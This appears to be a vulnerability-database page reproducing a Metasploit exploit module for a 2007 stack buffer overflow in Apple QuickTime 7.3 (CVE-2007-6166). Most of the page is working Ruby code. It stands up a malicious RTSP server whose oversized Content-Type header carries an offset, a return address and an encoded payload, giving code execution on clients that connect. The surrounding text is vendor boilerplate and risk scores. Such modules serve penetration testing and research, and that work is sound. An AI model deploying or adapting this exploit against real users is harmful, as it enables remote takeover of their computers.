Lucene search
K

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow

🗓️ 26 Nov 2007 14:41:16Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow - Stack buffer overflow exploit in QuickTime 7.3 allowing an attacker to execute arbitrary code

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
        RTSP response to a client, an attacker may be able to execute arbitrary code.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-6166' ],
          [ 'OSVDB', '40876' ],
          [ 'BID', '26549' ],
          [ 'EDB', '4648' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 700,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'MaxNops'  => 0,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2007-11-23',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
      ])
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    client.get_once

    buffer =  rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
    buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)

    strname = rand_text_alpha(rand(75) + 1)
    date    = Time.now
    num     = rand(1).to_s

    header =  "RTSP/1.0 200 OK\r\n"
    header << "CSeq: 1\r\n"
    header << "Date: #{date}\r\n"
    header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
    header << "Content-Type: #{buffer}\r\n"
    header << "Content-Length: #{strname.length}\r\n\r\n"

    body =  "v=#{num}\r\n"
    body << "o=#{strname}\r\n"
    body << "s=#{strname}\r\n"
    body << "i=#{strname}\r\n"
    body << "t=#{num}\r\n"
    body << "a=tool:#{strname}\r\n"
    body << "a=type:#{strname}\r\n"
    body << "a=control:#{strname}\r\n"
    body << "a=range:#{strname}\r\n"
    body << "a=x-qt-text-nam:#{strname}\r\n"
    body << "a=x-qt-text-inf:#{strname}\r\n"
    body << "m=#{strname}\r\n"
    body << "c=#{strname}\r\n"
    body << "a=control:#{strname}\r\n"

    sploit = header + body

    print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

    client.put(sploit)
    handler(client)

    service.close_client(client)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
8High risk
Vulners AI Score8
CVSS 29.3
EPSS0.41916
36